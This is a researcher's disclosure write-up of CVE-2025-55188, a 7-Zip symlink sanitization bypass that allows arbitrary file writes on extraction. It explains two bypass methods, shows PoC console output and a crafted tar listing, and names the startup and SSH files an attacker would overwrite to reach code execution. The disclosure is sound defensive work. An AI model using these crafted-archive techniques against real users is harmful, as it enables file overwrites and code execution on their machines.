Logo
CVE-2025-55188: 7-Zip Arbitrary File Write

CVE-2025-55188: 7-Zip Arbitrary File Write

August 28, 2025
9 min read
index

Hello!

Extracting a maliciously-crafted archive with 7-Zip prior to 25.01 allows for arbitrary file writes, which may lead to code execution.

I recommend updating to 7-Zip 25.01, which contains a fix.

Linux users are primarily affected.

Windows users may be affected in rare situations. Specifically, Windows is only at risk if the 7-Zip extraction process has the ability to create symlinks (e.g. extract with Administrator privileges, Windows is in Developer Mode, etc…). By default, 7-Zip cannot create symlinks on Windows.

Proof-of-Concept

All details (console output, code snippets, etc…) in this section refer to 7-Zip 25.00. The PoC works identically on earlier versions.

Check out the GitHub repository for the PoC code.

Symlinking to Outside the Extraction Directory

The first thing this PoC does is create a symlink to outside the extraction directory.

We cannot simply symlink to ../, as 7-Zip tries to sanitize symlinks. If an archive tries to naively create a symlink to ../, 7-Zip will throw the following error:

ERROR: Dangerous link path was ignored : malicious_link : ../

However, it is possible to bypass this sanitization. I found two ways to do this, but there may be more.

In order to figure out how to break the link sanitization, we need to first understand how the link sanitization works.

Link sanitization is implemented in CArchiveExtractCallback::SetLink.

Both symlinks and hardlinks must pass the following check:

UString path;
if (link.isRelative)
{
// _item.PathParts : parts that will be created in output folder.
// we want to get directory prefix of link item.
// so we remove file name (last non-empty part) from PathParts:
UStringVector v = _item.PathParts;
while (!v.IsEmpty())
{
const unsigned len = v.Back().Len();
v.DeleteBack();
if (len)
break;
}
path = MakePathFromParts(v);
NName::NormalizeDirPathPrefix(path);
}
path += link.LinkPath;
/*
path is calculated virtual target path of link
path is relative to root folder of extracted items
if (!link.isRelative), then (path == link.LinkPath)
*/
if (!IsSafePath(path, link.Is_WSL()))
return SendMessageError2(0, // errorCode
"Dangerous link path was ignored",
us2fs(_item.Path), us2fs(link.LinkPath));

Hardlinks are always treated as absolute (i.e. link.isRelative is always false). Symlinks can be either relative (e.g. dir/file.txt) or absolute (e.g. /dir/file.txt).

A quick note on absolute links: for these, 7-Zip treats the root directory (/) as the extraction directory, not the filesystem root. For example, if an archive contains a symlink that points to /dir/file.txt and is extracted to /tmp/extract, then 7-Zip will point the link to /tmp/extract/dir/file.txt. This is intended behavior.

If link.isRelative is true, then 7-Zip prepends path with the link’s containing directory. This ensures that path is always relative to the extraction root directory.

For example, consider the following relative symlink:

./a/b/link -> ../file.txt

In this case, path will be a/b/../file.txt.

Here is the implementation of IsSafePath:

static bool IsSafePath(const UString &path, bool isWSL)
{
CLinkLevelsInfo levelsInfo;
levelsInfo.Parse(path, isWSL);
return !levelsInfo.IsAbsolute
&& levelsInfo.LowLevel >= 0
&& levelsInfo.FinalLevel > 0;
}

In CLinkLevelsInfo,

  1. LowLevel is the lowest directory level that the link traverses to.
  2. FinalLevel is the directory level that the link ends at.

Directory level is defined as follows:

  1. . path components do not change the level.
  2. .. path components decrease the level by 1.
  3. All other path components increase the level by 1.

If you’d like to see the exact definitions of LowLevel and FinalLevel, here is the source to CLinkLevelsInfo::Parse.

So, in essence,

  1. levelsInfo.LowLevel >= 0 checks that the link never leaves the extraction directory.
  2. levelsInfo.FinalLevel > 0 checks that the link ends up inside the extraction directory.

The earlier example of symlinking to ../ failed because both LowLevel and FinalLevel were -1.

There is an additional check that symlinks (but not hardlinks) must pass:

/*
We want to use additional check for links that can link to directory.
- linux: all symbolic links are files.
- windows: we can have file/directory symbolic link,
but file symbolic link works like directory link in windows.
So we use additional check for all relative links.
We don't allow decreasing of final level of link.
So if some another extracted file will use this link,
then number of real path parts (after link redirection) cannot be
smaller than number of requested path parts from archive records.
Now we check only (link.LinkPath) without (_item.PathParts).
*/
CLinkLevelsInfo levelsInfo;
levelsInfo.Parse(link.LinkPath, link.Is_WSL());
if (levelsInfo.FinalLevel < 1
// || levelsInfo.LowLevel < 0 // we allow negative temporary levels
|| levelsInfo.IsAbsolute)
return SendMessageError2(0, // errorCode
"Dangerous symbolic link path was ignored",
us2fs(_item.Path), us2fs(link.LinkPath));

The only new check here is that for relative symlinks, levelsInfo.FinalLevel < 1 must be false. Here, levelsInfo does not prepend the link’s containing directory. So, 7-Zip will reject the following symlink, despite it resolving to ./a which is inside the extraction directory:

./a/b/link -> ../

This method works on both Linux and Windows, but has some restrictions:

  1. Archive format must support both hardlinks and symlinks.
  2. Some restrictions on linkable paths (more on this later).

Notice that relative symlinks are allowed to have LowLevel < 0, so long as we keep the link’s target inside the extraction directory and FinalLevel > 0. So, the following symlink is allowed:

./a/link -> ../a/b

When extracted, this symlink will resolve to ./a/b.

user@8e14e068eb39:/tmp/extract$ readlink -f a/link
/tmp/extract/a/b
user@8e14e068eb39:/tmp/extract$ stat a/link
File: a/link -> ../a/b
Size: 6 Blocks: 0 IO Block: 4096 symbolic link

On most filesystems, hardlinked files literally share the same underlying data as their target files (unlike symlinks, which use path resolution to find the target files). So, consider the following hardlink:

./link -> a/link

The OS will treat ./link as if it is also a symlink to ../a/b. However, because ./link is in the extraction root directory, it resolves to outside of the extraction directory!

user@8e14e068eb39:/tmp$ ls
user@8e14e068eb39:/tmp$ mkdir extract
user@8e14e068eb39:/tmp$ mkdir -p a/b
user@8e14e068eb39:/tmp$ cd extract
user@8e14e068eb39:/tmp/extract$ 7z x /work/poc_lnk/write.tar
7-Zip (z) 25.00 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-07-05
64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1048576, ASM
Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)
Extracting archive: /work/poc_lnk/write.tar
--
Path = /work/poc_lnk/write.tar
Type = tar
Physical Size = 10240
Headers Size = 9728
Code Page = UTF-8
Characteristics = POSIX ASCII
Everything is Ok
Size: 44
Compressed: 10240
user@8e14e068eb39:/tmp/extract$ ls
a link
user@8e14e068eb39:/tmp/extract$ readlink -f a/link
/tmp/extract/a/b
user@8e14e068eb39:/tmp/extract$ readlink -f link
/tmp/a/b

With this method, our outside symlinks are still restricted by the FinalLevel > 0 check.

Method 2: Extraction Root Abuse

This method works only on Linux, but:

  1. Archive format only needs support for symlinks.
  2. No restrictions on linkable paths.

Recall that 7-Zip resolves absolute symlinks as relative to the extraction root directory. Consider the following symlink:

./a/b/link -> /a

When extracted, this symlink will point to ./a.

user@8e14e068eb39:/tmp/extract$ stat a/b/link
File: a/b/link -> /tmp/extract/a
Size: 14 Blocks: 0 IO Block: 4096 symbolic link

We can now create another symlink, and use ./a/b/link to add “fluff” our link’s directory levels. For example:

./link -> a/b/link/../../

This link passes all of the symlink checks, as FinalLevel and LowLevel are both 1.

On Linux, ./link is now a symlink to outside of the extraction directory!

user@2eae8d688173:/tmp$ ls
user@2eae8d688173:/tmp$ mkdir extract
user@2eae8d688173:/tmp$ cd extract
user@2eae8d688173:/tmp/extract$ 7z x /work/poc_vrt/write.tar
7-Zip (z) 25.00 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-07-05
64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1048576, ASM
Scanning the drive for archives:
1 file, 10240 bytes (10 KiB)
Extracting archive: /work/poc_vrt/write.tar
--
Path = /work/poc_vrt/write.tar
Type = tar
Physical Size = 10240
Headers Size = 9728
Code Page = UTF-8
Characteristics = POSIX ASCII
Everything is Ok
Size: 44
Compressed: 10240
user@2eae8d688173:/tmp/extract$ ls
a link
user@2eae8d688173:/tmp/extract$ readlink -f link
/tmp

Linux resolves this link from ./link to ../ as follows:

  1. ./link
  2. ./a/b/link/../../
  3. ./a/../../
  4. ../

On Windows, this does not work because path resolution differs slightly. From what I can infer, Windows resolves .. path components before symlinks. This causes ./link to be resolved as follows:

  1. ./link
  2. ./a/b/link/../../
  3. ./a

I suspect this difference in path resolution is because Linux was designed from the beginning with symlinks in mind, while Windows did not support symlinks until Vista. Windows symlinks use NTFS reparse points, which are a general way to extend the functionality of the NTFS filesystems.

Escalating to Arbitrary File Write

Now that we can create symlinks that point to outside the extraction directory, it is fairly straightforward to arbitrarily write files. We can just point our symlink to a desired directory, and 7-Zip will follow it when writing files.

For example, the following will write to ../file.txt:

user@12b1f116770a:/tmp/extract$ tar -tvf /work/poc_vrt/write.tar
lrw-r--r-- 0/0 0 1970-01-01 00:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1970-01-01 00:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1970-01-01 00:00 link/file.txt

Escalating to Code Execution

There are many potential target files we can write to to escalate to code execution. Most of these are inside the user’s home directory, so an attacker would have to correctly guess that the user extracts to somewhere in their home directory.

On Linux, there is ~/.ssh/authorized_keys, ~/.bashrc, ~/.profile, and ~/.bash_aliases, to name a few.

On Windows, despite the additional path restrictions, we can still write to ~/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup.

The Patch

7-Zip 25.01 is now extra paranoid with links:

  1. All link creation is now deferred until after all files have been written.
  2. .. path components are not allowed unless at the beginning of the link target.
  3. Negative temporary directory levels are not allowed. When combined with the second check on this list, this effectively disallows any .. path component.
  4. Links may not refer to other links.
  5. During file extraction, empty temporary files are created to represent links. These temporary files must exist when links are created during the link-creation stage.

Some of these checks can be turned off with the -snld command line switch.

Final Thoughts

See this oss-security thread for a discussion on what a realistic attack scenario may look like.

I originally discovered this vulnerability while solving misc/dualzip from DUCTF 2025. Needless to say, it was not the intended solution.

As it turns out, this vulnerability has been present in 7-Zip for a very long time.

  1. On Linux— existed for 4 years (since 21.07, released on December 12, 2021, when 7-Zip first gained official support for Linux).
  2. On Windows— existed for 11 years (since 9.34, released on June 22, 2014, when 7-Zip first gained support for symlinks).

Given the timeframe and relative low complexity of this vulnerability, I would not be surprised if this were exploited in the wild in some highly targeted attack.

I haven’t done much testing on p7zip, but from what I can tell, p7zip is not vulnerable because it does not support symlinks.

I want to thank 7-Zip maintainer Igor Pavlov for being very responsive and addressing the issue quickly.

7/20 08:20 UTC: Initial discovery
7/21 06:25 UTC: Reported to Igor Pavlov
7/22 12:50 UTC: Acknowledged by Igor Pavlov
8/03 11:28 UTC: Patch released in 25.01